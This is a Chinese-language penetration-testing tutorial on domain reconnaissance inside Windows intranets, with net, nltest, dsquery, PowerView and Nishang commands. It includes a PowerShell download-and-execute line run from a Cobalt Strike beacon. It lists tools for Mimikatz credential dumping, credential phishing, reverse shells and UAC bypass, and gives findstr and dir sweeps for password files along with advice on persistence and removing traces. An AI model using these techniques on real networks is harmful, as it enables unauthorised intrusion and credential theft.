内网信息搜集3-搜集域环境信息

1.收集域环境的基本信息

查询权限

1
whoami

1、本地普通用户:当前为本机的user用户

image-20231006202337163

2、本地管理员用户:当前为本机的administrator

image-20231006202152713

3、域内用户:当前为域内普通用户

image-20231006202440347

4、域内用户:当前为hack域内的administrator用户

image-20231006202539873

在这四种情况中。

  • 如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息.
  • 本地管理员用户和域内用户可以查询域内信息.

其原理是:域内的所有查询都是通过域控制器实现的(基于LDAP协议),而这个查询需要经过权限认证,所以,只有域用户才拥有这个权限;当域用户执行查询命令时,会自动使用Kerberos协议进行认证,无须额外输人账号和密码

本地管理员Admmistrator权限可以直接提升为Ntauthority或System权限,因此,在域中,除普通用户外,所有的机器都有—个机器用户(用户名是机器名加上”$”)。在本质上,机器的system用户对应的就是域里面的机器用户所以,使用 System权限可以运行域内的查询命令

image-20231006203037766

①判断域是否存在

获得了本机的相关信息后就要判断当前内网中是否存在域,如果当前内网中存在域,就需要判断所控主机是否在域内 下面罗列几种方法。

1.ipconfig /all 命令

执行ipconfig /all命令,可以查看网关IP地址、DNS的IP地址,域名、本机是否和DNS服务器处于同一网段等信息

image-20231006203319206

然后,通过反向解析查询命令nslookup来解析域名的IP地址。用解析得到的IP地址进行对比判断域控制器和DNS服务器是否在同—台服务器上。

image-20231006203441819

2.systeminfo

执行如下命令,”域”即域名,登录服务器”为域控制器 如果域为”WORKGROUP”,表示当前服务器不在域内

image-20231006203546030

3.net config workstation

image-20231006203636097

4.net time /domain

一般有3种情况:

1.存在域,但当前用户不是域用户(注意,当本地管理员administrator密码与域管相同时,可能能查询成功

image-20231006204014077

2.存在域,并且当前用户是域用户(以PC的system用户为例,其相当于域控分配的机器用户)

image-20231006204134350

3.当前网络环境为工作组,不存在域

image-20231006204338791

确定了当前内网拥有的域,且所控制的主机在域内,就可以进行域内相关信息的收集了。介绍的查询命令在本质上都是通过LDAP协议到域控制器上进行查询的,所以在查询时需要进行权限认证。只有域用户才拥有此权限,本地用户无法运行本节介绍的查询命令( System 权限用户除外。在域中,除普通用户外,所有的机器都有一个机器用户,其用户名为机器名加上 “$”。 System权限用户对应的就是域里面的机器用户,所以System权限用户可以运行相关的查询命令)

net命令详解

​ NET命令是一个命令行命令,Net命令有很多函数用于实用和核查计算机之间的NetBIOS连接,可以查看我们的管理网络环境、服务、用户、登陆等信息内容;要想获得Net 的HELP可以

(1)在Windows下可以用图形的方式,开始- >帮助->索引->输入NET;

(2)在COMMAND下可以用字符方式:NET /?或NET或NET HELP取得相应的方法的帮助。

所有Net命令接受选项/yes和/no(可缩写为/y和/n)。

image-20231007095000042

net view

1
2
3
4
5
6
7
8
作用:显示域列表、计算机列表或指定计算机的共享资源列表。
命令格式:`Net view [\\computername | /domain[:domainname]]`
有关参数说明:
‐ 键入不带参数的`net view`显示当前域的计算机列表
‐ `\\computername` 指定要查看其共享资源的计算机
‐ `/domain[:domainname]`指定要查看其可用计算机的域
例如:Net view \\GHQ查看GHQ计算机的共享资源列表。
Net view /domain:XYZ 查看XYZ域中的机器列表

image-20231007095623235

image-20231007095637862

image-20231007104713878

image-20231007095706446

net user

1
2
3
4
5
6
7
8
9
10
11
作用:添加或更改用户帐号或显示用户帐号信息。
命令格式:`Net user [username [password | *] [options]] [/domain]`
有关参数说明:
‐ 键入不带参数的Net user查看计算机上的用户帐号列表
‐ username添加、删除、更改或查看用户帐号名
password为用户帐号分配或更改密码
‐ 提示输入密码
‐ `/domain`在计算机主域的主域控制器中执行操作。
该参数仅在Windows NT Server 域成员的 Windows NT Workstation 计算机上可用。默认情况下,Windows NT Server 计算机在主域控制器中执行操作。注意:在计算机主域的主域控制器发生该动作。它可能不是登录域。
例如:`Net user ghq123`查看用户GHQ123的信息。
net user /domain 查看域中的用户

image-20231007095939949

net use

连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
命令格式:`Net use [devicename | *] [\\computername\sharename[\volume]] no}]]` password|*]
[[/delete]| [/persistent:{yes |
有关参数说明:
‐ 键入不带参数的Net use列出网络连接
‐ devicename指定要连接到的资源名称或要断开的设备名称
‐ `\\computername\sharename`服务器及共享资源的名称
‐ password访问共享资源的密码
*提示键入密码
‐ `/user`指定进行连接的另外一个用户
‐ `domainname`指定另一个域
‐ `username`指定登录的用户名
‐ `/home`将用户连接到其宿主目录
‐ `/delete`取消指定网络连接
‐ `/persistent`控制永久网络连接的使用。
例如:`Net use f: \\GHQ\TEMP` 将\GHQ\TEMP目录建立为F
`Net use f: \GHQ\TEMP` /delete 断开连接。

net time

使计算机的时钟与另一台计算机或域的时间同步。

1
2
3
4
5
命令格式:`Net time [\\computername | /domain[:name]] [/set]`
有关参数说明:
‐ `\\computername`要检查或同步的服务器名
‐`/domain[:name]`指定要与其时间同步的域
‐ `/set`使本计算机时钟与指定计算机或域的时钟同步。

net start

启动服务,或显示已启动服务的列表

1
命令格式:`Net start service`

net pause

暂停正在运行的服务。

1
命令格式:`Net pause service`

net continue

重新激活挂起的服务。

1
命令格式:`Net continue service`

net stop

停止 Windows NT/2000/2003 网络服务。

1
命令格式:`Net stop service`

Net Statistics

显示本地工作站或服务器服务的统计记录。

1
2
3
4
5
6
命令格式:`Net statistics [workstation | server]`
有关参数说明:
∙键入不带参数的Net statistics列出其统计信息可用的运行服务
∙`workstation`显示本地工作站服务的统计信息
∙`server`显示本地服务器服务的统计信息
例如:Net statistics server | more显示服务器服务的统计信息。

net share

创建、删除或显示共享资源。

1
2
3
4
5
6
7
8
9
10
11
命令格式:`Net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"]`
有关参数说明:
∙ 键入不带参数的Net share显示本地计算机上所有共享资源的信息
∙ `sharename`是共享资源的网络名称
∙ `drive:path`指定共享目录的绝对路径
∙ `/users:number`设置可同时访问共享资源的最大用户数
∙ `/unlimited`不限制同时访问共享资源的用户数
∙ `/remark:"text "`添加关于资源的注释,注释文字用引号引住
例如: `Net share yesky=c:\temp /remark:"my first share"`
以yesky为共享名共享C:\temp
`Net share yesky /delete`停止共享yesky目录

net session

列出或断开本地计算机和与之连接的客户端的会话。

1
2
3
4
5
6
7
命令格式:`Net session [\\computername] [/delete]`
有关参数说明:
∙键入不带参数的Net session显示所有与本地计算机的会话的信息。
∙`\\computername`标识要列出或断开会话的计算机。
∙`/delete`结束与 `\computername` 计算机会话并关闭本次会话期间计算机的所有打开文件。如果省略
`\computername` 参数,将取消与本地计算机的所有会话。
例如:`Net session [url=file://\\GHQ]\\GHQ[/url]`要显示计算机名为GHQ的客户端会话信息列表。

net send

向网络的其他用户、计算机或通信名发送消息。

1
2
3
4
5
6
7
8
命令格式:`Net send {name | * | /domain[:name] | /users} message`
有关参数说明:
∙`name`要接收发送消息的用户名、计算机名或通信名
∙* 将消息发送到组中所有名称
∙`/domain[:name]`将消息发送到计算机域中的所有名称
∙`/users`将消息发送到与服务器连接的所有用户
∙`message`作为消息发送的文本
例如:`Net send /users server will shutdown in 10 minutes`.给所有连接到服务器的用户发送消息。

net print

显示或控制打印作业及打印队列。

1
2
3
4
5
6
7
8
9
命令格式:`Net print [\\computername ] job# [/hold | /release | /delete]`
有关参数说明:
∙`computername`共享打印机队列的计算机名
∙`sharename`打印队列名称
∙`job#`在打印机队列中分配给打印作业的标识号
∙`/hold`使用`job#`时,在打印机队列中使打印作业等待
∙`/release`释放保留的打印作业
∙`/delete`从打印机队列中删除打印作业
例如:`Net print \\GHQ\HP8000列出[url=file://\\GHQ]\\GHQ[/url]`计算机上HP8000打印机队列的目录。

net name

添加或删除消息名(有时也称别名),或显示计算机接收消息的名称列表。

1
2
3
4
5
6
命令格式:`Net name [name [/add | /delete]]`
有关参数说明:
∙键入不带参数的Net name列出当前使用的名称
∙`name`指定接收消息的名称
∙`/add`将名称添加到计算机中
∙`/delete`从计算机中删除名称

net localgroup

添加、显示或更改本地组。

1
2
3
4
5
6
7
8
9
10
11
命令格式:`Net localgroup groupname {/add [/comment:"text "] | /delete} [/domain]`
有关参数说明:
∙键入不带参数的`Net localgroup`显示服务器名称和计算机的本地组名称
∙`groupname`要添加、扩充或删除的本地组名称
∙`/comment: "text "`为新建或现有组添加注释
∙`/domain`在当前域的主域控制器中执行操作,否则仅在本地计算机上执行操作
∙`name [ ...]`列出要添加到本地组或从本地组中删除的一个或多个用户名或组名
∙`/add`将全局组名或用户名添加到本地组中
∙`/delete`从本地组中删除组名或用户名
例如:`Net localgroup ggg /add` 将名为ggg的本地组添加到本地用户帐号数据库;
`Net localgroup Administrator` 显示Administrator本地组中的用户。

image-20231007101541784

image-20231007101929047

当域控想创建这台计算机的管理员用户时,只需要创建用户然后将其加入到domain admins组中即可

net group

在 Windows NT/2000/2003 Server 域中添加、显示或更改全局组。

1
2
3
4
5
6
7
8
9
10
命令格式:`Net group groupname {/add [/comment:"text "] | /delete} [/domain]`
有关参数说明:
∙键入不带参数的Net group显示服务器名称及服务器的组名称
∙`groupname`要添加、扩展或删除的组
∙`/comment:"text "`为新建组或现有组添加注释
∙`/domain`在当前域的主域控制器中执行该操作,否则在本地计算机上执行操作
∙`username[ ...]`列表显示要添加到组或从组中删除的一个或多个用户
∙`/add`添加组或在组中添加用户名
∙`/delete`删除组或从组中删除用户名
例如:`Net group ggg GHQ1 GHQ2 /add`将现有用户帐号GHQ1和GHQ2添加到本地计算机的ggg组

image-20231007102532660

net file

显示某服务器上所有打开的共享文件名及锁定文件数。

1
2
3
4
5
命令格式:`Net file [id [/close]]`
有关参数说明:
∙键入不带参数的Net file获得服务器上打开文件的列表
∙`id`文件标识号
∙/close关闭打开的文件并释放锁定记录

net config

显示当前运行的可配置服务,或显示并更改某项服务的设置。

1
2
3
4
5
命令格式:`Net config [service [options]]`
有关参数说明:
∙键入不带参数的Net config显示可配置服务的列表
∙`service`通过Net config命令进行配置的服务(server或workstation)
`options`服务的特定选项

image-20231007104619600

net computer

从域数据库中添加或删除计算机

1
2
3
4
5
6
命令格式:Net computer \computername {/add | /del}
有关参数说明:
∙\\computername指定要添加到域或从域中删除的计算机
∙/add将指定计算机添加到域
∙/del将指定计算机从域中删除
例如:Net computer \\js /add将计算机js 添加到登录域。

②查询域

查询域的命令如下

1
net view /domain

如果出现”此工作组的服务器列表当前无法使用” 开启服务:Server ,WorkStation,computer Browser,关闭防火墙

image-20231007104912481

③查询域内所有计算机

1
net view/domain:域名

image-20231007105005557

④查询域内所有用户组列表

1
net group /domain	注意:只有域用户才能查询

image-20231007105243145

系统自带的常见用户身份如下:

1
2
3
4
5
6
7
Domain Admins:域管理员。
Domain Computers:域内机器。
Domain Controllers:域控制器。
Domain Gusers:域访客,权限较低。
Domain User:域用户。
Enterprise Admins:企业系统管理员用户
在默认情况下, Domain admins和Enterprise Admins对域内所有域控制器有完全控制权限

⑤查询所有域成员计算机列表

1
net group "domain computers" /domain

image-20231007105719426

⑥获取域密码信息

执行如下命令’获取域密码策略、密码长度、错误锁定等信息

1
net accounts /domain

image-20231007105946134

⑦获取域信任信息

1
nltest /domain_trusts

image-20231007110006792

2.域环境中查找DC的多种方式

查看域控制器的机器名

执行如下命令,可以看到,域控制器的机器名

1
2
3
4
nltest /DCLIST:hack
获取域控的ip:
ping DC.hack.com
nslookup DC.hack.com

image-20231007111132686

image-20231007111253023

查看域控制器的主机名

执行如下命令,可以看到,域控制器的主机名

1
nslookup -type=SRV _ldap._tcp

image-20231007111503042

查看当前时间

在通常情况下,时间服务器为主域控制器。执行如下命令

1
net time /domain

image-20231007111614338

查看域控制器组

执行如下命令,查看域控制器组。,其中有一台机器名为”DC”的域控制器

1
net group "Domain Controllers" /domain

image-20231007111644401

在实际网络中,一个域内一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以保证域内的服务和验证工作正常进行

3.域环境中查找域内用户信息

向域控制器进行查询

执行如下命令,向域控制器DC进行查询,,域内有多个用户。其中,krbtgt 用户不仅可以创建票据授权服务(TGS)的加密 密钥,还可以实现多种域内权限持久化方法

1
net user /domain

image-20231007145023930

获取域内用户详细信息

wmic可以获取域内用户的详细常见参数包括用户名、描述信息、SID、域名、状态等

1
2
wmic /?  查看帮助
wmic useraccount get name

image-20231007150154499

image-20231007150231829

查看存在的用户

执行如下命令,可以看到,域内用户(server机器有这个命令)

1
dsquery user

常用的 dsquery命令:

1
2
3
4
5
6
7
8
9
10
dsquery computer ‐查找目录中的计算
dsquery contact ‐查找目录中的职系人
dsquery subnet ‐目录中的子网
dsquery group ‐查找目录中的组,
dsquery ou ‐查找目录中的组织单位,
dsquery site ‐最找目景中的站成
dsquery server ‐查找目录中的ADDC/LDs实例
asquery user ‐查找目录中的用户
dsquery quota ‐查找目录中的配颗机定
dsquery partition ‐查找目录中的分区

image-20231007151306581

image-20231007151443777

查询域管理用户

1
net localgroup administrators

Domain admin组中的用户默认为域内机器的本地管理员用户 在实际应用中’为了方便管理 会有域用户被设置为域 机器的本地管理员用户

image-20231007151614534

查询域管理员用户组

1
net group "Enterprise Admins" /domain

image-20231007151705203

4.定位域管理员

在内网中,通常会部署大址的网络安全系统和设备,例如IDS、IPS、日志审计、安全网关、 反病毒软件等。在域网 络攻击测试中,获取域内的一个支点后,需要获取域管理员权限. 在一个域中,当计算机加入域后,会默认给域管理 员组赋予本地系统管理员权限,也就是说, 当主机被添加到域中.成为域的成员主机后,系统会自动将域管理员组添加到该计算机的本地系统管理员组中,因此域管理员组的成员都可以访问本地计算机,且具备安全控制权限

定位域内管理员的常规渠道,一是日志,二是会话。日志是指本地机器的管理员日志,会话是指域内每台机器的登 录会话

假设已经在Windows域中取得了普通用户权限,希望在域内横向移动,需要知道域内用户登录的位置、他是否是 任何系统的本地管理员、他所属的组、他是否有权访问文件共享等。枚举主机、用户和组,有助于更好地了解域的 布局。

手动定位域管理员

1
2
3
4
5
6
7
8
9
10
11
12
13
14
net view /domain 查看当前域名
net view /domain:域名 查看域内部所有计算机名
net group /domain 查看域内部所有用户组列表
net group "domain computers" /domain 查看所有域成员计算机列表
net accounts /domain 查看域密码信息
nltest /domian_trusts 获取域信任信息
nltest /DCLIST:域名 查看域控制器机器名
net time /domain 查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名
net group "Domain Controllers" /domain 查看域控制器组,因为可能有不止一台域控,有主备之分
net user /domain 查询域内用户,会看到熟悉的krbtgt用户
wmic useraccount get /all 获取域内用户详细信息
dsquery user 查看域内存在的用户
net localgroup administrators 查看本地管理员用户组
net group "domain admins" /domain 查询域管理员用户

psloggedon.exe工具

psloggedon.exe 可以显示本地登录的用户和通过本地计算机或远程计算机的资源登录的用户。如果指定了用户名 而不是计算机,psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录。

首次使用:

1
2
3
psloggedon.exe /accepteula
psloggedon.exe \\PC-2003
psloggedon.exe jack
image-20231007155245879

PVEDFindADUser.exe工具

pveFindADUser.exe 可用于查找 Active Directory 用户登录的位置,枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过RDP登录的用户、用于运行服务和计划任务的用户账户。运行该工具的计算机需要 具有.NETFramework 2.0,并且需要具有管理员权限

1
2
3
4
5
6
7
8
9
10
11
‐h:显示帮助信息
current["username"]:如果仅指定‐current参数,将获取目标计算机上当前登录的所有用户。如果指定了用户名
(Domain\Username),则显示该用户登录的计算机
last["username"]:如果仅指定‐last参数,将获取目标计算机上最后一个登录用户。如果指定了用户名
(Domain\Username),则显示此用户上次登录的计算机。根据网络的安全策略,可能会隐藏最后一个登录用户的用户
名,此时使用该工具可能无法得到用户名
‐noping:阻止该工具在获取用户登陆信息之前对目标执行ping命令
‐target:可选参数,用于指定要查询的主机。如果未指定该参数,将查询域中的所有主机。如果指定了此参数,主机名
列表由逗号分隔
直接运行"pvefindaduser.exe ‐current",即可显示域中所有计算机上当前登录的用户
PVEFindADUser.exe -current hack\jack 查看该用户在哪台计算机上登录

image-20231007160021667

netview.exe工具

netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用NetSessionEnum找寻登陆会话,利NetShareEnum 找寻共享,利用NetWkstaUserEnum枚举登陆的用户。同时,netview.exe 能够查询共享入口和有价值的用户。 netview.exe的绝大部分功能不需要管理员权限就可以使用。

1
2
3
4
5
6
7
8
9
10
11
使用语法:
netview.exe <参数>
‐h:显示帮助菜单。
‐f filename.txt:指定从中提取主机列表的文件。
‐e filename.txt:指定要排除的主机名文件。
‐o filename.txt:将所有输出重定向到文件。
‐d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
‐g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
‐c:检查对已找到共享的访问权限

netview.exe -d hack

image-20231007160853211

NSE脚本

如果存在域账户或者本地账户就可以使用Nmap的smb-enum-sessions.nes引擎获取远程机器的登录会话(不需要管理员权限)。

1
2
3
4
5
6
7
smb‐enum‐domain:对域控制器进行信息收集,可以获取主机的信息、用户、可使用密码策略的用户等
smb‐enum‐users:在进行域渗透测试时,如果获得了域内某台主机的权限,无法获取更多的域用户信息,就可以借助这
个脚本对域控制器进行扫描
smb‐enum‐shares:遍历远程主机的共享目录
smb‐enum‐processes:对主机的系统进行遍历。通过这些信息,可以知道目标主机上正在运行哪些软件。
smb‐enum‐sessions:获取域内主机的用户登录会话,查看当前是否有用户登录。
smb‐os‐discovery:收集目标主机的操作系统、计算机名、域名域林名称、NetBIOS机器名、NetBIOS域名,工作组、

PowerView脚本

PowerView 脚本中包含了一系列的 powershell 脚本,信息收集相关的脚本有 Invoke-StealthUserHunter、 Invoke-UserHunter 等,

1
powershell.exe -exec bypass -command "& { import-module .\PowerView.ps1;Invoke-UserHunter}"

image-20231007161535330

5.powershell基础

Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。可以把它看成是命令行提示符cmd.exe的扩充,不对,应当是颠覆。 powershell需要.NET环境的支持,同时支持.NET对象。微软之所以将Powershell 定位为Power,并不是夸大其词,因为它完全支持对象。其可读性,易用性,可以位居当前所有shell之首。

当前powershell有四版本,分别为1.0, 2.0,3.0 ,4.0 如果您的系统是window7或者Windows Server 2008,那么PowerShell 2.0已经内置了,可以升级 为3.0,4.0。

如果您的系统是Windows 8 或者Windows server 2012,那么PowerShell 3.0已经内置了,可以升级为4.0。

如果您的系统为Windows 8.1或者Windows server 2012 R2,那默认已经是4.0了。

管道和重定向

例如通过ls获取当前目录的所有文件信息,然后通过Sort -Descending对文件信息按照Name降序排 列,最后将排序好的文件的Name和Mode格式化成Table输出

image-20231007165949569

把命令的输出保存到文件中,‘>’为覆盖,’>>’追加

image-20231007170138792

执行外部命令

Powershell 能够像CMD一样很好的执行外部命令

通过IPConfig查看自己的网络配置

通过netstat查看网络端口状态

启动CMD控制台

Cmd.exe 通过 /c 来接收命令参数,在Cmd中help可以查看可用的命令,所以可以通过Cmd /c help 查找可用的Cmd控制台命令

指定内部命令

官方文档:https://learn.microsoft.com/zh-cn/powershell/?view=powershell-5.1

每个命令有一个动词和名词组成,命令的作用一目了然

1
Get-Alias  获取命令的别名
image-20231007172220116

powershell脚本

Powershell一般初始化情况下都会禁止脚本执行。脚本能否执行取决于Powershell的执行策略

powershell脚本以ps1结尾

1
2
3
4
5
Get-ExecutionPolicy 查看权限
Unrestricted:权限最高,可以不受限制执行任何脚本。
Default:Powershell默认的策略:Restricted,不允许任何脚本执行。
AllSigned:所有脚本都必须经过签名才能在运行。
RemoteSigned:本地脚本无限制,但是对来自网络的脚本必须经过签名

image-20231007173051343

改变运行策略

1
Set-ExecutionPolicy Unrestricted
image-20231007173158318

脚本测试:

image-20231007173427268

6.使用powershell收集域内信息

powersploit

PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。

Powershell的优点:

1.代码运行在内存中可以不去接触磁盘

2.从另一个系统中下载代码并执行

3.很多安全产品并不能监测到powershell的活动

4.cmd.exe通常被阻止运行,但是powershell不会

1
2
3
4
5
6
7
AntivirusBypass:发现杀毒软件的查杀特征。
CodeExecution:在目标主机上执行代码。
Exfiltration:目标主机上的信息搜集工具。
Mayhem:蓝屏等破坏性脚本。
Persistence:后面脚本(持久性控制)。
Recon:以目标主机为跳板进行内网信息侦察。
ScriptModification:在目标主机上创建或修改脚本。

powerview也是一款非常的powershell脚本工具,用于域内信息的收集。他集成在在 PowerSploit-master\Recon目录下。 PowerView.ps1

使用方式三种方式

1.靶机本地执行

1
shell powershell.exe -exec bypass -command "& { import-module C:\Users\Administrator\Desktop\PowerView.ps1;Get-NetUser}"

image-20231008102536240

2.远程执行

python 开启http 服务 python -m http.server 8080

1
shell powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://ip:8080/PowerView.ps1');import-module .\PowerView.ps1;Get-NetShare

3.CS自带命令 攻击机执行

在cs的文件夹中存储ps1文件

1
2
3
beacon> powershell-import //导入各种powershell脚本
beacon> powershell posershell脚本名 //执行脚本
beacon> powershell Check-VM //执行命令
image-20231008103624188

image-20231008103855355

PowerView.ps1 命令:

Get-NetDomain 获取当前用户所在的域名称
Get-NetUser 返回所有用户详细信息
Get-NetDomainController 获取所有域控制器
Get-NetComputer 获取所有域内机器详细信息
Get-NetOU 获取域中OU信息
Get-NetGroup 获取所有域内组和组成员信息
Get-NetFileServer 根据SPN获取当前域使用的文件服务器
Get-NetShare 获取当前域内所有网络共享
Get-NetSession 获取在指定服务器存在的Session信息
Get-NetRDPSession 获取在指定服务器存在的远程连接信息
Get-NetProcess 获取远程主机的进程信息
Get-UserEvent 获取指定用户日志信息
Get-ADObject 获取活动目录的对象信息
Get-NetGPO 获取域所有组策略对象
Get-DomainPolicy 获取域默认或域控制器策略
Invoke-UserHunter 搜索网络中域管理员正在使用的主机
Invoke-ProcessHunter 查找域内所有机器进程用于找到某特定用户
Invoke-UserEventHunter 根据用户日志获取某域用户登陆过哪些域机器

nishang

Nishang是一款针对PowerShell的渗透工具

image-20231008104006635

执行

1
2
3
4
5
1.放在cs目录
powershell-import nishang/nishang.psm1
powershell Get-Command -Module nishang
2.上传到靶机
shell powershell Import-Module .\nishang\nishang.psm1;Get-Command -Module nishang

image-20231008104859869

1
2
3
4
5
6
7
8
9
10
Check-VM 检测该主机是不是虚拟机
Invoke-CredentialsPhish 欺骗用户,让用户输入密码
Get-WLAN-Keys wifi 信息
Invoke-Mimikatz 抓密码
Get-PassHashes 获取hash
Get-PassHints 获取用户的密码提示信息
Invoke-PowerShellTcp 反弹shell
Invoke-PsUACme 绕过UAC
Remove-Update 删除补丁
Get-Information 本机信息

image-20231008105107650

7.定位计算机中的敏感数据

内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。可以说,价值较高的数据基本都在内网中。

资料、数据、文件的定位流程:

1
2
3
4
5
定位内部人事组织结构
在内部人事组织结构中寻找需要监视的人员
定位相关人员的机器
视相关人员存放文档的位置
列出存放文档的服务器的目录

重点核心业务机器

1
2
3
4
5
6
7
8
9
10
11
12
高级管理人员 系统管理人员 财务/人事/业务人员的个人计算机
产品管理系统服务器
办公系统服务器
财务应用系统服务器
核心产品源码服务器(SVN/GIT服务器)
数据库服务器
文件服务器,
共享服务器
电子邮件服务器
网站监控系统服务器
信息安全监控服务器
生产工厂服务器

敏感信息和敏感文件

1
2
3
4
5
6
7
8
9
站点源码备份文件,
数据库备份文件等等
游览器保存的密码和浏览器的cookie
其他用户会话,
3389和ipc$连接记录,
回收站中的信息等等
Windows的无线密码
网络内部的各种账号密码,
包含电子邮箱,V**,FTP等等

在内网中,我们一定要知道自己拿下的机器的人员的职位(职位高的人在内网中权限也高,计算机中的敏感信息也多,还有一种就是特殊职位的人员,例如上面说的,一般都有一些与职位相关的敏感信息。)还有就是拿下一台机器后要先维权,权限稳了再收集信息,信息收集一定要全面仔细,信息收 集完了再搞内网。往目标主机中传工具用完就删。翻文件的话,可以使用一些搜索命令来快速寻找。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1.指定目录下搜集各类敏感文件
dir /a /s /b d:\"*.txt"
dir /a /s /b C:\"*.xlsx"
dir /a /s /b d:\"*.md"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.pdf"
dir /a /s /b d:\"*.docx"
dir /a /s /b d:\"*.doc"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"
2.指定目录下的文件中搜集各种账号密码
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

内网信息搜集3-搜集域环境信息
http://example.com/2023/10/31/内网信息搜集3-搜集域环境信息/
作者
r1
发布于
2023年10月31日
许可协议